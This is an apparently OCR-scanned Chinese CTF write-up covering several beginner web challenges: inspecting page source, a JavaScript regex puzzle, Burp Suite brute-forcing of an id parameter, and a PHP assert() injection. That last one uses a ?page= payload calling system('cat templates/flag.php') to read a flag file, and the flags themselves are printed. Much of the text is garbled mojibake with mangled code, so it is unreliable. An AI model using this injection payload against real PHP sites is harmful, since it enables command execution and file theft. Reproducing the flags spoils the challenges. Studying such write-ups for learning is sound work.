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FLAG is not here

BTHM2,HBEH &R, &I sourceffjindex,k B flag

[ ﬂ Elements Console Sources Metwork Performance Memory
Page Filesystem  Owerrides » : [[4] (index) % | m
* O top 1 A | » Watch
v 111.198.29.45:31096 :é}_lang: = ¥ Call Stack
- (index) 4 ¢<meta charset="
5 <titlesWhere is
6 ad>» v Scope
7>
8lipt>

9 ment.oncontextm
18 ment.onselectst
11 ript>»

12

¥ Breakpoints

» L
ve O
Not paused
Not paused

No breakpoints

13 » XHR/fetch Breakpoints

14 FLAG is not her

15 » DOM Breakpoints

16
17 xctf{81644defa

» Global Listeners

18 » Event Listener Breakpoints

19 dy>
28 ml>
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% web100.html 2019/4/27 22:49
% web100.htm 2019/4/27 21:43
give you flag.gif 2019/4/28 8:47

EXRHRBITIF, B—ANRAE:

Ok

BEMI)LEARE, KWFEAeval(), HKeval()iFitii halert(), #HEEFEHRI KL, JavaScriptiEf).

function $(){var e=document.getElementById("c").value;
if(e.length==16)

if(e.match(/”~be0f23/)!=null)

if(e.match(/233ac e98aa$/)!=null)

if(e.

{

var
var
var
var
var

match(/c7be9/)!=null)

O DG
n=["a","_h01","n"];
r=["g{","e","_0"1;
i=["it'", ", "]

S=[t)n)rni];

for(var 0=0;0<13;++0)

{

document.write(s[o%4][@]);

s[o%4].splice(0,1)}}}

document.write('<input id="c"><button onclick=$()>0k</button>");
delete _

3 flag4 R AT ERBRBETE, BERMARRI66L, HBEMN, Me.match()WZAER, FEMKEARTT
RS, SHERAS, PiEE—T: be0f233ac7be98aa, #HA B AHE, 78 3Fflag.
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M FE R
FREk¥E: XCTF 4th-CyberEarth
BE#R: ZPEREBHONET REETHERMRS O, EREEENRT, RE LB T T ANRERIRE.

MXEEBRLET, A, KNENY, NEHKT, E-—KHIK, REEREF T writeup, 7 4 KK, H7EXEE
L BERE, RRHRERE L. wpli&:



CyberEarth-2017 : cetc-06

= % Rﬁﬁ%‘zﬂ?, %é—i%{%ﬁlg333HgHﬂﬁ%ﬁufl‘ﬂlgg.l::!:;l;jr'l.r'ler.-""'f'|_.J_|::.':;Lir'u.':;tl::lr';,-'

®&Arik, NATH T burpsuite, 347 55
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Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in v

Attack type: | Sniper

GET /index.php?id=§1l8§ HTTP/Ll.1

Host: 111.198.29.45:45379

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:E6.0) Gecko/IZ0L00Ll0Ll Firefox/EE.L
Acecept: text/html,application/xhtml+xml, application/=xml;q=0.9, %/ *;c=0.8
Accept-Languages: zh-CHN, zh;qgq=0.8, eh-TW;q=0.7, zh-HE; ¢=0.5,en-U3;=0.3,en;g=0.2
Aecept-Encoding: gzip, deflate

Feferer: http://111.198.29.45:45375/ index.php

Connection: kesp-alive

Cookie: td cookie=3597455£0E8

Upgrade-Insecure-Requests: 1

Cache-Control: max-ages=0

&% fEresponsefd Flflag
cyberpeace{4f2ae395100cf9501bf152deabda88f7}

mfw

REBEEREREEMERT, RTHERNE, A2 7T mJLAHR
BXEE, AR, RAREE, BFHALLHNRE, HaboutE£EEF

About

| wrote this website all by myself in under a week!
| used:

o Git
e PHP
s Bootstrap

ARTUTF, EATUERER, KU T flag.php
TH, RUHBER LS, 220, RiFHBlindexphp, 3t E BT, RIKE

$file = "templates/" . $page . ".php";
assert("strpos('$file', '.."') === false") ("Detected hacking attempt!")

assert("file_exists('$file")") ("That file doesn't exist!");

P>
|

42 E filoiwr AN AR B 25 F tamnlata/nana/nhn



FJUB 1vas | OO SR Y J SWHINIUGGT MUy vl T

MG, HT strposHWifiled & BiliA ¥ A ... iR [Eltruest 4 R 3 H#i i Detected hacking attempt!
ZIEHAW XA MR BHFE, FPHEERS R, 3 Hi i That file doesn’t exist!
XA BRHHEEMT

bool assert ( mixed S$assertion [, string Sdescription ] )

PHP 7

bool assert ( mixed Sassertion [, Throwable Sexception | )

assert () %ﬁﬁ?ﬂgi% assertion FH{LZ5 RN FALSE ﬁ%ﬁlﬁ%ﬁﬁﬁiﬂu

Traditional assertions (PHP 5 and 7)

WS assertion RTFHE, EHEEH assert() 4ff PHP {UDMRIMAT. assertion 2 TR MM LA AW 50 S (TP BN, H LW et

B2 E assertion RIEN. HEMEWFEIRENT boolean HIAMAEN assertion, XA KMFREAZ B S AR SEG ARAMRE LK
assert options() ACFREREIRS, ZF2HEHNFRFR, MAA/RE PALSE SHFRRT 7S .

W 25 DB U R R T P A M R R IR NSy e, efi R LT AR, SR A BIRIASRTE G RO
o R R ) R SR B AT

W E ARZA T RIS ATRERE, R ZHmRE. Fh a0, fElTS SR PR RS2 RE S IE R ST .

strpos (a,b)
FiWb R B Ea, RNWREE—XRAE, FNIR[Ffalse

file exists

(PHP 4, PHP 5, PHP 7)

file exists — fu# L fFel HRBGFE
B

bool file_exists ( string $filename )

B A e H R B A

ZH
filename

SCIFECH R AT

£ Windows HEHM //computername/share/filename 2% ||computername|share|filename FKsE 2%+ FIFLE 1.
i [EHE

MEBEMH fitenams fREM Vb HEZA MR rerme. & NHR Al rarse.

RO A A G 5ed, KikB B AR Hasserttd & B 755 LEphpiia), W&
?page=ss’,“123’)===false and system(‘cat template/flag.php’)and strpos('

H R EHATsystemiiER, REEFERGER, XEiIpagekss’,123")===false and system(‘cat template/flag.php’)and
strpos('

FEPATHE— A assertht, EikElfalse, WATHEHIMRIG, RE{RiEstropeldS BEIIEIR Ffalse i B ATsystem B H M AR, 4
Flflag, 4T 3 —Nassertht A LM, Fiti That file doesn't exist!

?page=ss',g)===false and system('cat templates/flag.php')and strpos(’



BERNRY, 152flag

<?php $FLAG="cyberpeace {aa3bechlc23cab2f2a0f73ca33a95frdf}”;: 2>
That file doesn’t exist!
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